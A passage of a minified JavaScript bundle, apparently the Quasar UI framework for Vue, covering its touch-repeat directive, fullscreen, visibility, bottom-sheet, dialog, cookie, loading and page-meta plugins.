              , o = Object.keys(i).reduce(function(t, e) {
                if (!0 === tl.test(e)) {
                    var i = isNaN(parseInt(e, 10)) ? Ja[e.toLowerCase()] : parseInt(e, 10);
                    i >= 0 && t.push(i)
                }
                return t
            }, []);
            if (!0 === i.mouse || !0 === u.has.touch || 0 !== o.length) {
                var r = "string" == typeof n && n.length > 0 ? n.split(":").map(function(t) {
                    return parseInt(t, 10)
                }) : [0, 600, 300]
                  , a = r.length - 1
                  , l = {
                    keyboard: o,
                    handler: s,
                    noop: f,
                    mouseStart: function(t) {
                        void 0 === l.event && "function" == typeof l.handler && !0 === m(t) && (k(l, "temp", [[document, "mousemove", "move", "passiveCapture"], [document, "click", "end", "notPassiveCapture"]]),
                        l.start(t, !0))
                    },
                    keyboardStart: function(e) {
                        if ("function" == typeof l.handler && !0 === tt(e, o)) {
                            if ((0 === r[0] || void 0 !== l.event) && (S(e),
                            t.focus(),
                            void 0 !== l.event))
                                return;
                            k(l, "temp", [[document, "keyup", "end", "notPassiveCapture"], [document, "click", "end", "notPassiveCapture"]]),
                            l.start(e, !1, !0)
                        }
                    },
                    touchStart: function(t) {
                        if (void 0 !== t.target && "function" == typeof l.handler) {
                            var e = de(t.target);
                            k(l, "temp", [[e, "touchmove", "move", "passiveCapture"], [e, "touchcancel", "end", "notPassiveCapture"], [e, "touchend", "end", "notPassiveCapture"]]),
                            l.start(t)
                        }
                    },
                    start: function(t, e, i) {
                        function s(t) {
                            l.styleCleanup = void 0,
                            document.documentElement.style.cursor = "";
                            var e = function() {
                                document.body.classList.remove("non-selectable")
                            };
                            !0 === t ? (we(),
                            setTimeout(e, 10)) : e()
                        }
                        !0 !== i && (l.origin = v(t)),
                        !0 === u.is.mobile && (document.body.classList.add("non-selectable"),
                        we(),
                        l.styleCleanup = s),
                        l.event = {
                            touch: !0 !== e && !0 !== i,
                            mouse: !0 === e,
                            keyboard: !0 === i,
                            startTime: Date.now(),
                            repeatCount: 0
                        };
                        var n = function() {
                            if (void 0 !== l.event) {
                                0 === l.event.repeatCount && (l.event.evt = t,
                                !0 === i ? l.event.keyCode = t.keyCode : l.event.position = v(t),
                                !0 !== u.is.mobile && (document.documentElement.style.cursor = "pointer",
                                document.body.classList.add("non-selectable"),
                                we(),
                                l.styleCleanup = s)),
                                l.event.duration = Date.now() - l.event.startTime,
                                l.event.repeatCount += 1,
                                l.handler(l.event);
                                var e = a < l.event.repeatCount ? a : l.event.repeatCount;
                                l.timer = setTimeout(n, r[e])
                            }
                        };
                        0 === r[0] ? n() : l.timer = setTimeout(n, r[0])
                    },
                    move: function(t) {
                        void 0 !== l.event && !0 === function(t, e) {
                            var i = v(t)
                              , s = i.top
                              , n = i.left;
                            return Math.abs(n - e.left) >= 7 || Math.abs(s - e.top) >= 7
                        }(t, l.origin) && clearTimeout(l.timer)
                    },
                    end: function(t) {
                        void 0 !== l.event && (void 0 !== l.styleCleanup && l.styleCleanup(!0),
                        void 0 !== t && l.event.repeatCount > 0 && S(t),
                        q(l, "temp"),
                        clearTimeout(l.timer),
                        l.event = void 0)
                    }
                };
                void 0 !== t.__qtouchrepeat && (t.__qtouchrepeat_old = t.__qtouchrepeat),
                t.__qtouchrepeat = l,
                !0 === i.mouse && k(l, "main", [[t, "mousedown", "mouseStart", "passive" + (!0 === i.mouseCapture ? "Capture" : "")]]),
                !0 === u.has.touch && k(l, "main", [[t, "touchstart", "touchStart", "passive" + (!0 === i.capture ? "Capture" : "")], [t, "touchend", "noop", "notPassiveCapture"]]),
                o.length > 0 && k(l, "main", [[t, "keydown", "keyboardStart", "notPassive" + (!0 === i.keyCapture ? "Capture" : "")]])
            }
        },
        update: function(t, e) {
            var i = t.__qtouchrepeat;
            void 0 !== i && e.oldValue !== e.value && ("function" != typeof e.value && i.end(),
            i.handler = e.value)
        },
        unbind: function(t) {
            var e = t.__qtouchrepeat_old || t.__qtouchrepeat;
            void 0 !== e && (clearTimeout(e.timer),
            q(e, "main"),
            q(e, "temp"),
            void 0 !== e.styleCleanup && e.styleCleanup(),
            delete t[t.__qtouchrepeat_old ? "__qtouchrepeat_old" : "__qtouchrepeat"])
        }
    }, sl = Object.freeze({
        __proto__: null,
        ClosePopup: ja,
        GoBack: Va,
        Intersection: Oo,
        Mutation: Wa,
        Ripple: ne,
        ScrollFire: Ua,
        Scroll: Xa,
        TouchHold: Za,
        TouchPan: Qi,
        TouchRepeat: il,
        TouchSwipe: pi
    });
    function nl(t) {
        void 0 === el && (el = h.is.winphone ? "msapplication-navbutton-color" : h.is.safari ? "apple-mobile-web-app-status-bar-style" : "theme-color");
        var e = function(t) {
            var e = document.getElementsByTagName("META");
            for (var i in e)
                if (e[i].name === t)
                    return e[i]
        }(el)
          , i = void 0 === e;
        i && (e = document.createElement("meta")).setAttribute("name", el),
        e.setAttribute("content", t),
        i && document.head.appendChild(e)
    }
    var ol = {
        install: function(t) {
            var e = t.$q
              , s = t.cfg;
            this.set = !1 !== i || !0 !== h.is.mobile || !0 !== h.is.nativeMobile && !0 !== h.is.winphone && !0 !== h.is.safari && !0 !== h.is.webkit && !0 !== h.is.vivaldi ? f : function(t) {
                var e = t || K("primary");
                !0 === h.is.nativeMobile && window.StatusBar ? window.StatusBar.backgroundColorByHexString(e) : nl(e)
            }
            ,
            e.addressbarColor = this,
            s.addressbarColor && this.set(s.addressbarColor)
        }
    }
      , rl = {};
    function al(t, e) {
        try {
            var i = t[e]();
            return void 0 === i ? Promise.resolve() : i
        } catch (t) {
            return Promise.reject(t)
        }
    }
    var ll = {
        isCapable: !1,
        isActive: !1,
        activeEl: null,
        request: function(t) {
            var e = this;
            if (!0 === this.isCapable && !1 === this.isActive) {
                var i = t || document.documentElement;
                return al(i, rl.request).then(function() {
                    e.activeEl = i
                })
            }
            return this.__getErr()
        },
        exit: function() {
            var t = this;
            return !0 === this.isCapable && !0 === this.isActive ? al(document, rl.exit).then(function() {
                t.activeEl = null
            }) : this.__getErr()
        },
        toggle: function(t) {
            return !0 === this.isActive ? this.exit() : this.request(t)
        },
        install: function(e) {
            var s = this;
            e.$q.fullscreen = this,
            !0 !== i && (rl.request = ["requestFullscreen", "msRequestFullscreen", "mozRequestFullScreen", "webkitRequestFullscreen"].find(function(t) {
                return void 0 !== document.documentElement[t]
            }),
            this.isCapable = void 0 !== rl.request,
            !1 !== this.isCapable ? (this.__getErr = function() {
                return Promise.resolve()
            }
            ,
            rl.exit = ["exitFullscreen", "msExitFullscreen", "mozCancelFullScreen", "webkitExitFullscreen"].find(function(t) {
                return document[t]
            }),
            this.isActive = !!(document.fullscreenElement || document.mozFullScreenElement || document.webkitFullscreenElement || document.msFullscreenElement),
            ["onfullscreenchange", "onmsfullscreenchange", "onwebkitfullscreenchange"].forEach(function(t) {
                document[t] = function() {
                    s.isActive = !1 === s.isActive
                }
            }),
            t.util.defineReactive(this, "isActive", this.isActive),
            t.util.defineReactive(this, "activeEl", this.activeEl)) : this.__getErr = function() {
                return Promise.reject("Not capable")
            }
            )
        }
    }
      , cl = {
        appVisible: !1,
        install: function(e) {
            var s = this
              , n = e.$q;
            if (!0 !== i) {
                var o, r;
                void 0 !== document.hidden ? (o = "hidden",
                r = "visibilitychange") : void 0 !== document.msHidden ? (o = "msHidden",
                r = "msvisibilitychange") : void 0 !== document.webkitHidden && (o = "webkitHidden",
                r = "webkitvisibilitychange");
                var a = function() {
                    s.appVisible = n.appVisible = !document[o]
                };
                a(),
                r && void 0 !== document[o] && (t.util.defineReactive(n, "appVisible", this.appVisible),
                document.addEventListener(r, a, !1))
            } else
                this.appVisible = n.appVisible = !0
        }
    }
      , ul = t.extend({
        name: "BottomSheetPlugin",
        mixins: [Dt, _t],
        inheritAttrs: !1,
        props: {
            title: String,
            message: String,
            actions: Array,
            grid: Boolean,
            cardClass: [String, Array, Object],
            cardStyle: [String, Array, Object]
        },
        computed: {
            dialogProps: function() {
                return Object.assign({}, this.qAttrs, {
                    position: "bottom"
                })
            }
        },
        methods: {
            show: function() {
                this.$refs.dialog.show()
            },
            hide: function() {
                this.$refs.dialog.hide()
            },
            onOk: function(t) {
                this.$emit("ok", t),
                this.hide()
            },
            __getGrid: function(t) {
                var e = this;
                return this.actions.map(function(i) {
                    var s = i.avatar || i.img;
                    return void 0 === i.label ? t(uo, {
                        staticClass: "col-all",
                        props: {
                            dark: e.isDark
                        }
                    }) : t("div", {
                        staticClass: "q-bottom-sheet__item q-hoverable q-focusable cursor-pointer relative-position",
                        class: i.classes,
                        attrs: {
                            tabindex: 0
                        },
                        on: {
                            click: function() {
                                return e.onOk(i)
                            },
                            keyup: function(t) {
                                13 === t.keyCode && e.onOk(i)
                            }
                        }
                    }, [t("div", {
                        staticClass: "q-focus-helper"
                    }), i.icon ? t(Et, {
                        props: {
                            name: i.icon,
                            color: i.color
                        }
                    }) : s ? t("img", {
                        attrs: {
                            src: s
                        },
                        staticClass: i.avatar ? "q-bottom-sheet__avatar" : null
                    }) : t("div", {
                        staticClass: "q-bottom-sheet__empty-icon"
                    }), t("div", [i.label])])
                })
            },
            __getList: function(t) {
                var e = this;
                return this.actions.map(function(i) {
                    var s = i.avatar || i.img;
                    return void 0 === i.label ? t(uo, {
                        props: {
                            spaced: !0,
                            dark: e.isDark
                        }
                    }) : t(Nn, {
                        staticClass: "q-bottom-sheet__item",
                        class: i.classes,
                        props: {
                            tabindex: 0,
                            clickable: !0,
                            dark: e.isDark
                        },
                        on: {
                            click: function() {
                                return e.onOk(i)
                            },
                            keyup: function(t) {
                                13 === t.keyCode && e.onOk(i)
                            }
                        }
                    }, [t(Hn, {
                        props: {
                            avatar: !0
                        }
                    }, [i.icon ? t(Et, {
                        props: {
                            name: i.icon,
                            color: i.color
                        }
                    }) : s ? t("img", {
                        attrs: {
                            src: s
                        },
                        staticClass: i.avatar ? "q-bottom-sheet__avatar" : null
                    }) : null]), t(Hn, [i.label])])
                })
            }
        },
        render: function(t) {
            var e = this
              , i = [];
            return this.title && i.push(t(hi, {
                staticClass: "q-dialog__title"
            }, [this.title])),
            this.message && i.push(t(hi, {
                staticClass: "q-dialog__message"
            }, [this.message])),
            i.push(!0 === this.grid ? t("div", {
                staticClass: "row items-stretch justify-start"
            }, this.__getGrid(t)) : t("div", this.__getList(t))),
            t(pn, {
                ref: "dialog",
                props: this.dialogProps,
                on: mt(this, "hide", {
                    hide: function() {
                        e.$emit("hide")
                    }
                })
            }, [t(ui, {
                staticClass: "q-bottom-sheet q-bottom-sheet--" + (!0 === this.grid ? "grid" : "list") + (!0 === this.isDark ? " q-bottom-sheet--dark q-dark" : ""),
                style: this.cardStyle,
                class: this.cardClass
            }, i)])
        }
    });
    var hl = {
        onOk: function() {
            return hl
        },
        okCancel: function() {
            return hl
        },
        hide: function() {
            return hl
        }
    };
    function dl(e) {
        return function(s) {
            s.className;
            var n = s.class
              , o = s.style
              , r = s.component
              , a = s.root
              , l = s.parent
              , c = function(t, e) {
                var i = {};
                for (var s in t)
                    Object.prototype.hasOwnProperty.call(t, s) && -1 === e.indexOf(s) && (i[s] = t[s]);
                return i
            }(s, ["className", "class", "style", "component", "root", "parent"]);
            if (!0 === i)
                return hl;
            void 0 !== n && (c.cardClass = n),
            void 0 !== o && (c.cardStyle = o);
            var u = []
              , h = []
              , d = {
                onOk: function(t) {
                    return u.push(t),
                    d
                },
                onCancel: function(t) {
                    return h.push(t),
                    d
                },
                onDismiss: function(t) {
                    return u.push(t),
                    h.push(t),
                    d
                },
                hide: function() {
                    return _.$refs.dialog.hide(),
                    d
                }
            }
              , p = document.createElement("div");
            document.body.appendChild(p);
            var f = !1
              , m = {
                ok: function(t) {
                    f = !0,
                    u.forEach(function(e) {
                        e(t)
                    })
                },
                hide: function() {
                    _.$destroy(),
                    _.$el.remove(),
                    _ = null,
                    !0 !== f && h.forEach(function(t) {
                        t()
                    })
                }
            };
            t.observable(c);
            var v = void 0 !== r ? r : e
              , g = void 0 === r ? c : void 0
              , _ = new t({
                name: "QGlobalDialog",
                el: p,
                parent: void 0 === l ? a : l,
                render: function(t) {
                    return t(v, {
                        ref: "dialog",
                        props: c,
                        attrs: g,
                        on: m
                    })
                },
                mounted: function() {
                    this.$refs.dialog.show()
                }
            });
            return d
        }
    }
    var pl = {
        install: function(t) {
            var e = t.$q;
            this.create = e.bottomSheet = dl(ul)
        }
    };
    function fl(t) {
        return encodeURIComponent(t)
    }
    function ml(t) {
        return decodeURIComponent(t)
    }
    function vl(t) {
        if ("" === t)
            return t;
        0 === t.indexOf('"') && (t = t.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, "\\")),
        t = ml(t.replace(/\+/g, " "));
        try {
            t = JSON.parse(t)
        } catch (t) {}
        return t
    }
    function gl(t) {
        var e = new Date;
        return e.setMilliseconds(e.getMilliseconds() + t),
        e.toUTCString()
    }
    function _l(t, e, i, s) {
        var n, o, r, a, l, c, u, h;
        void 0 === i && (i = {}),
        void 0 !== i.expires && ("[object Date]" === Object.prototype.toString.call(i.expires) ? n = i.expires.toUTCString() : "string" == typeof i.expires ? (r = i.expires,
        a = 0,
        l = r.match(/(\d+)d/),
        c = r.match(/(\d+)h/),
        u = r.match(/(\d+)m/),
        h = r.match(/(\d+)s/),
        l && (a += 864e5 * l[1]),
        c && (a += 36e5 * c[1]),
        u && (a += 6e4 * u[1]),
        h && (a += 1e3 * h[1]),
        n = 0 === a ? r : gl(a)) : (o = parseFloat(i.expires),
        n = !1 === isNaN(o) ? gl(864e5 * o) : i.expires));
        var d, p = fl(t) + "=" + fl((d = e) === Object(d) ? JSON.stringify(d) : "" + d), f = [p, void 0 !== n ? "; Expires=" + n : "", i.path ? "; Path=" + i.path : "", i.domain ? "; Domain=" + i.domain : "", i.sameSite ? "; SameSite=" + i.sameSite : "", i.httpOnly ? "; HttpOnly" : "", i.secure ? "; Secure" : "", i.other ? "; " + i.other : ""].join("");
        if (s) {
            s.req.qCookies ? s.req.qCookies.push(f) : s.req.qCookies = [f],
            s.res.setHeader("Set-Cookie", s.req.qCookies);
            var m = s.req.headers.cookie || "";
            if (void 0 !== n && o < 0) {
                var v = bl(t, s);
                void 0 !== v && (m = m.replace(t + "=" + v + "; ", "").replace("; " + t + "=" + v, "").replace(t + "=" + v, ""))
            } else
                m = m ? p + "; " + m : f;
            s.req.headers.cookie = m
        } else
            document.cookie = f
    }
    function bl(t, e) {
        for (var i, s, n, o = e ? e.req.headers : document, r = o.cookie ? o.cookie.split("; ") : [], a = r.length, l = t ? null : {}, c = 0; c < a; c++)
            if (s = ml((i = r[c].split("=")).shift()),
            n = i.join("="),
            t) {
                if (t === s) {
                    l = vl(n);
                    break
                }
            } else
                l[s] = n;
        return l
    }
    function yl(t) {
        return {
            get: function(e) {
                return bl(e, t)
            },
            set: function(e, i, s) {
                return _l(e, i, s, t)
            },
            has: function(e) {
                return function(t, e) {
                    return null !== bl(t, e)
                }(e, t)
            },
            remove: function(e, i) {
                return function(t, e, i) {
                    _l(t, "", Object.assign({}, {
                        expires: -1
                    }, e), i)
                }(e, i, t)
            },
            getAll: function() {
                return bl(null, t)
            }
        }
    }
    var wl, Sl, xl, Cl, kl = {
        parseSSR: function(t) {
            return void 0 !== t ? yl(t) : this
        },
        install: function(t) {
            var e = t.$q
              , s = t.queues;
            !0 === i ? s.server.push(function(t, e) {
                t.cookies = yl(e.ssr)
            }) : (Object.assign(this, yl()),
            e.cookies = this)
        }
    }, ql = t.extend({
        name: "DialogPlugin",
        mixins: [Dt, _t],
        inheritAttrs: !1,
        props: {
            title: String,
            message: String,
            prompt: Object,
            options: Object,
            html: Boolean,
            ok: {
                type: [String, Object, Boolean],
                default: !0
            },
            cancel: [String, Object, Boolean],
            focus: {
                type: String,
                default: "ok",
                validator: function(t) {
                    return ["ok", "cancel", "none"].includes(t)
                }
            },
            stackButtons: Boolean,
            color: String,
            cardClass: [String, Array, Object],
            cardStyle: [String, Array, Object]
        },
        computed: {
            hasForm: function() {
                return void 0 !== this.prompt || void 0 !== this.options
            },
            okLabel: function() {
                return Object(this.ok) === this.ok ? this.$q.lang.label.ok : !0 === this.ok ? this.$q.lang.label.ok : this.ok
            },
            cancelLabel: function() {
                return Object(this.cancel) === this.cancel ? this.$q.lang.label.cancel : !0 === this.cancel ? this.$q.lang.label.cancel : this.cancel
            },
            vmColor: function() {
                return this.color || (!0 === this.isDark ? "amber" : "primary")
            },
            okDisabled: function() {
                return void 0 !== this.prompt ? void 0 !== this.prompt.isValid && !0 !== this.prompt.isValid(this.prompt.model) : void 0 !== this.options ? void 0 !== this.options.isValid && !0 !== this.options.isValid(this.options.model) : void 0
            },
            okProps: function() {
                return Object.assign({}, {
                    color: this.vmColor,
                    label: this.okLabel,
                    ripple: !1
                }, Object(this.ok) === this.ok ? this.ok : {
                    flat: !0
                }, {
                    disable: this.okDisabled
                })
            },
            cancelProps: function() {
                return Object.assign({}, {
                    color: this.vmColor,
                    label: this.cancelLabel,
                    ripple: !1
                }, Object(this.cancel) === this.cancel ? this.cancel : {
                    flat: !0
                })
            }
        },
        methods: {
            show: function() {
                this.$refs.dialog.show()
            },
            hide: function() {
                this.$refs.dialog.hide()
            },
            getPrompt: function(t) {
                var e = this;
                return [t(Fn, {
                    props: {
                        value: this.prompt.model,
                        type: this.prompt.type,
                        label: this.prompt.label,
                        stackLabel: this.prompt.stackLabel,
                        outlined: this.prompt.outlined,
                        filled: this.prompt.filled,
                        standout: this.prompt.standout,
                        rounded: this.prompt.rounded,
                        square: this.prompt.square,
                        counter: this.prompt.counter,
                        maxlength: this.prompt.maxlength,
                        prefix: this.prompt.prefix,
                        suffix: this.prompt.suffix,
                        color: this.vmColor,
                        dense: !0,
                        autofocus: !0,
                        dark: this.isDark
                    },
                    attrs: this.prompt.attrs,
                    on: mt(this, "prompt", {
                        input: function(t) {
                            e.prompt.model = t
                        },
                        keyup: function(t) {
                            !0 !== e.okDisabled && "textarea" !== e.prompt.type && !0 === tt(t, 13) && e.onOk()
                        }
                    })
                })]
            },
            getOptions: function(t) {
                var e = this;
                return [t(Wo, {
                    props: {
                        value: this.options.model,
                        type: this.options.type,
                        color: this.vmColor,
                        inline: this.options.inline,
                        options: this.options.items,
                        dark: this.isDark
                    },
                    on: mt(this, "opts", {
                        input: function(t) {
                            e.options.model = t
                        }
                    })
                })]
            },
            getButtons: function(t) {
                var e = [];
                if (this.cancel && e.push(t(be, {
                    props: this.cancelProps,
                    attrs: {
                        "data-autofocus": "cancel" === this.focus && !0 !== this.hasForm
                    },
                    on: mt(this, "cancel", {
                        click: this.onCancel
                    })
                })),
                this.ok && e.push(t(be, {
                    props: this.okProps,
                    attrs: {
                        "data-autofocus": "ok" === this.focus && !0 !== this.hasForm
                    },
                    on: mt(this, "ok", {
                        click: this.onOk
                    })
                })),
                e.length > 0)
                    return t(di, {
                        staticClass: !0 === this.stackButtons ? "items-end" : null,
                        props: {
                            vertical: this.stackButtons,
                            align: "right"
                        }
                    }, e)
            },
            onOk: function() {
                this.$emit("ok", er(this.getData())),
                this.hide()
            },
            onCancel: function() {
                this.hide()
            },
            getData: function() {
                return void 0 !== this.prompt ? this.prompt.model : void 0 !== this.options ? this.options.model : void 0
            },
            getSection: function(t, e, i) {
                return !0 === this.html ? t(hi, {
                    staticClass: e,
                    domProps: {
                        innerHTML: i
                    }
                }) : t(hi, {
                    staticClass: e
                }, [i])
            }
        },
        render: function(t) {
            var e = this
              , i = [];
            return this.title && i.push(this.getSection(t, "q-dialog__title", this.title)),
            this.message && i.push(this.getSection(t, "q-dialog__message", this.message)),
            void 0 !== this.prompt ? i.push(t(hi, {
                staticClass: "scroll q-dialog-plugin__form"
            }, this.getPrompt(t))) : void 0 !== this.options && i.push(t(uo, {
                props: {
                    dark: this.isDark
                }
            }), t(hi, {
                staticClass: "scroll q-dialog-plugin__form"
            }, this.getOptions(t)), t(uo, {
                props: {
                    dark: this.isDark
                }
            })),
            (this.ok || this.cancel) && i.push(this.getButtons(t)),
            t(pn, {
                ref: "dialog",
                props: Object.assign({}, this.qAttrs, {
                    value: this.value
                }),
                on: mt(this, "hide", {
                    hide: function() {
                        e.$emit("hide")
                    }
                })
            }, [t(ui, {
                staticClass: "q-dialog-plugin" + (!0 === this.isDark ? " q-dialog-plugin--dark q-dark" : ""),
                style: this.cardStyle,
                class: this.cardClass,
                props: {
                    dark: this.isDark
                }
            }, i)])
        }
    }), Tl = {
        install: function(t) {
            var e = t.$q;
            this.create = e.dialog = dl(ql)
        }
    }, $l = {
        isActive: !1,
        start: f,
        stop: f,
        increment: f,
        setDefaults: f,
        install: function(e) {
            var s = this
              , n = e.$q
              , o = e.cfg;
            if (!0 !== i) {
                var r = void 0 !== o.loadingBar ? Object.assign({}, o.loadingBar) : {}
                  , a = n.loadingBar = new t({
                    name: "LoadingBar",
                    render: function(t) {
                        return t(Ct, {
                            ref: "bar",
                            props: r
                        })
                    }
                }).$mount().$refs.bar;
                Object.assign(this, {
                    start: function(t) {
                        a.start(t),
                        s.isActive = a.isActive = a.calls > 0
                    },
                    stop: function() {
                        a.stop(),
                        s.isActive = a.isActive = a.calls > 0
                    },
                    increment: a.increment,
                    setDefaults: function(t) {
                        t === Object(t) && Object.assign(r, t),
                        a.$parent.$forceUpdate()
                    }
                }),
                t.util.defineReactive(this, "isActive", this.isActive),
                t.util.defineReactive(a, "isActive", this.isActive),
                a.setDefaults = this.setDefaults,
                document.body.appendChild(a.$parent.$el)
            } else
                n.loadingBar = this
        }
    }, Ml = 0, Ll = {}, Bl = {
        delay: 0,
        message: !1,
        spinnerSize: 80,
        spinnerColor: "white",
        messageColor: "white",
        backgroundColor: "black",
        spinner: Kt,
        customClass: ""
    }, Pl = Object.assign({}, Bl), Ol = {
        isActive: !1,
        show: function(e) {
            var s = this;
            !0 !== i && ((Ll = e === Object(e) && !0 === e.ignoreDefaults ? Object.assign({}, Bl, e) : Object.assign({}, Pl, e)).customClass += " text-" + Ll.backgroundColor,
            Ll.uid = "l_" + Ml++,
            this.isActive = !0,
            void 0 === wl ? (clearTimeout(Sl),
            Sl = setTimeout(function() {
                Sl = void 0;
                var e = document.createElement("div");
                document.body.appendChild(e),
                wl = new t({
                    name: "QLoading",
                    el: e,
                    mounted: function() {
                        an(!0)
                    },
                    render: function(t) {
                        var e;
                        return t("transition", {
                            props: {
                                name: "q-transition--fade",
                                appear: !0
                            },
                            on: mt(s, "tr", {
                                "after-leave": function() {
                                    !0 !== s.isActive && void 0 !== wl && (an(!1),
                                    wl.$destroy(),
                                    wl.$el.remove(),
                                    wl = void 0)
                                }
                            })
                        }, [!0 === s.isActive ? t("div", {
                            staticClass: "q-loading fullscreen column flex-center z-max",
                            key: Ll.uid,
                            class: Ll.customClass.trim()
                        }, [t(Ll.spinner, {
                            props: {
                                color: Ll.spinnerColor,
                                size: Ll.spinnerSize
                            }
                        }), Ll.message && t("div", {
                            class: "text-" + Ll.messageColor,
                            domProps: (e = {},
                            e[!0 === Ll.sanitize ? "textContent" : "innerHTML"] = Ll.message,
                            e)
                        }) || void 0]) : null])
                    }
                })
            }, Ll.delay)) : wl.$forceUpdate())
        },
        hide: function() {
            !0 === this.isActive && (void 0 !== Sl && (clearTimeout(Sl),
            Sl = void 0),
            this.isActive = !1)
        },
        setDefaults: function(t) {
            t === Object(t) && Object.assign(Pl, t)
        },
        install: function(t) {
            var e = t.$q
              , i = t.cfg.loading;
            this.setDefaults(i),
            e.loading = this
        }
    };
    function El(t) {
        t.title && (t.title = t.titleTemplate ? t.titleTemplate(t.title) : t.title,
        delete t.titleTemplate),
        [["meta", "content"], ["link", "href"]].forEach(function(e) {
            var i = t[e[0]]
              , s = e[1];
            for (var n in i) {
                var o = i[n];
                o.template && (1 === Object.keys(o).length ? delete i[n] : (o[s] = o.template(o[s] || ""),
                delete o.template))
            }
        })
    }
    function zl(t, e) {
        if (Object.keys(t).length !== Object.keys(e).length)
            return !0;
        for (var i in t)
            if (t[i] !== e[i])
                return !0
    }
    function Al(t) {
        return !1 === ["class", "style"].includes(t)
    }
    function Dl(t) {
        return !1 === ["lang", "dir"].includes(t)
    }
    function Rl(t, e) {
        !0 !== t._inactive && (!0 === Nl(t) && (no(!0, e, t.__qMeta),
        !0 === t.$options.meta.stopPropagation) || t.$children.forEach(function(t) {
            Rl(t, e)
        }))
    }
    function Il() {
        !0 === Cl && (Cl = !1,
        this.$root.__currentMeta = window.__Q_META__);
        var t, e, i, s = {
            title: "",
            titleTemplate: null,
            meta: {},
            link: {},
            script: {},
            htmlAttr: {},
            bodyAttr: {}
        };
        Rl(this.$root, s),
        El(s),
        t = function(t, e) {
            var i = {}
              , s = {};
            return void 0 === t ? {
                add: e,
                remove: s
            } : (t.title !== e.title && (i.title = e.title),
            ["meta", "link", "script", "htmlAttr", "bodyAttr"].forEach(function(n) {
                var o = t[n]
                  , r = e[n];
                if (s[n] = [],
                void 0 !== o && null !== o) {
                    for (var a in i[n] = {},
                    o)
                        !1 === r.hasOwnProperty(a) && s[n].push(a);
                    for (var l in r)
                        !1 === o.hasOwnProperty(l) ? i[n][l] = r[l] : !0 === zl(o[l], r[l]) && (s[n].push(l),
                        i[n][l] = r[l])
                } else
                    i[n] = r
            }),
            {
                add: i,
                remove: s
            })
        }(this.$root.__currentMeta, s),
        e = t.add,
        i = t.remove,
        e.title && (document.title = e.title),
        Object.keys(i).length > 0 && (["meta", "link", "script"].forEach(function(t) {
            i[t].forEach(function(e) {
                document.head.querySelector(t + '[data-qmeta="' + e + '"]').remove()
            })
        }),
        i.htmlAttr.filter(Dl).forEach(function(t) {
            document.documentElement.removeAttribute(t)
        }),
        i.bodyAttr.filter(Al).forEach(function(t) {
            document.body.removeAttribute(t)
        })),
        ["meta", "link", "script"].forEach(function(t) {
            var i = e[t];
            for (var s in i) {
                var n = document.createElement(t);
                for (var o in i[s])
                    "innerHTML" !== o && n.setAttribute(o, i[s][o]);
                n.setAttribute("data-qmeta", s),
                "script" === t && (n.innerHTML = i[s].innerHTML || ""),
                document.head.appendChild(n)
            }
        }),
        Object.keys(e.htmlAttr).filter(Dl).forEach(function(t) {
            document.documentElement.setAttribute(t, e.htmlAttr[t] || "")
        }),
        Object.keys(e.bodyAttr).filter(Al).forEach(function(t) {
            document.body.setAttribute(t, e.bodyAttr[t] || "")
        }),
        this.$root.__currentMeta = s
    }
    function Fl(t) {
        return function(e) {
            var i = t[e];
            return e + (void 0 !== i ? '="' + i + '"' : "")
        }
    }
    function jl(t, e, i) {
        var s = {
            title: "",
            titleTemplate: null,
            meta: {},
            link: {},
            htmlAttr: {},
            bodyAttr: {},
            noscript: {}
        };
        Rl(t, s),
        El(s);
        var n = void 0 !== i && void 0 !== i.nonce ? ' nonce="' + i.nonce + '"' : ""
          , o = {
            "%%Q_HTML_ATTRS%%": Object.keys(s.htmlAttr).filter(Dl).map(Fl(s.htmlAttr)).join(" "),
            "%%Q_HEAD_TAGS%%": function(t) {
                var e = "";
                return t.title && (e += "<title>" + t.title + "</title>"),
                ["meta", "link", "script"].forEach(function(i) {
                    var s = t[i];
                    for (var n in s) {
                        var o = Object.keys(s[n]).filter(function(t) {
                            return "innerHTML" !== t
                        }).map(Fl(s[n]));
                        e += "<" + i + " " + o.join(" ") + ' data-qmeta="' + n + '">',
                        "script" === i && (e += (s[n].innerHTML || "") + "<\/script>")
                    }
                }),
                e
            }(s),
            "%%Q_BODY_ATTRS%%": Object.keys(s.bodyAttr).filter(Al).map(Fl(s.bodyAttr)).join(" "),
            "%%Q_BODY_TAGS%%": Object.keys(s.noscript).map(function(t) {
                return '<noscript data-qmeta="' + t + '">' + s.noscript[t] + "</noscript>"
            }).join("") + "<script" + n + ">window.__Q_META__=" + (delete s.noscript && JSON.stringify(s)) + "<\/script>"
        };
        return Object.keys(o).forEach(function(t) {
            e = e.replace(t, o[t])
        }),
        e
    }
    function Vl() {
        "function" == typeof this.$options.meta ? (void 0 === this.$options.computed && (this.$options.computed = {}),
        this.$options.computed.__qMeta = this.$options.meta) : !0 === Nl(this) && (this.__qMeta = this.$options.meta)
    }
    function Nl(t) {
        return void 0 !== t.$options.meta && null !== t.$options.meta
    }
    function Hl() {
        !0 === Nl(this) && this.__qMetaUpdate()
    }
    !1 === i && t.util.defineReactive(Ol, "isActive", Ol.isActive);
    var Ql = {
        install: function(e) {
            var n = e.queues;
            !0 === i ? (t.prototype.$getMetaHTML = function(t) {
                return function(e, i) {
                    return jl(t, e, i)
                }
            }
            ,
            t.mixin({
                beforeCreate: Vl
            }),
            n.server.push(function(t, e) {
                e.ssr.Q_HTML_ATTRS += " %%Q_HTML_ATTRS%%",
                Object.assign(e.ssr, {
                    Q_HEAD_TAGS: "%%Q_HEAD_TAGS%%",
                    Q_BODY_ATTRS: "%%Q_BODY_ATTRS%%",
                    Q_BODY_TAGS: "%%Q_BODY_TAGS%%"
                })
            })) : (Cl = s,
            t.mixin({
                beforeCreate: Vl,
                created: function() {
                    !0 === Nl(this) && (this.__qMetaUnwatch = this.$watch("__qMeta", this.__qMetaUpdate))
                },
                activated: Hl,
                deactivated: Hl,
                beforeMount: Hl,
                destroyed: function() {
                    !0 === Nl(this) && (this.__qMetaUnwatch(),
                    this.__qMetaUpdate())
                },
                methods: {
                    __qMetaUpdate: function() {
                        clearTimeout(xl),
                        xl = setTimeout(Il.bind(this), 50)
                    }
                }
            }))
        }
    };
    var Wl = 0
      , Yl = {}
      , Ul = {
        role: "alert"
    }
      , Kl = ["top-left", "top-right", "bottom-left", "bottom-right", "top", "bottom", "left", "right", "center"]
      , Xl = ["top-left", "top-right", "bottom-left", "bottom-right"]
      , Gl = {
        positive: {
            icon: function() {
                return this.$q.iconSet.type.positive
            },
            color: "positive"
        },
        negative: {
            icon: function() {
                return this.$q.iconSet.type.negative
            },
            color: "negative"
        },
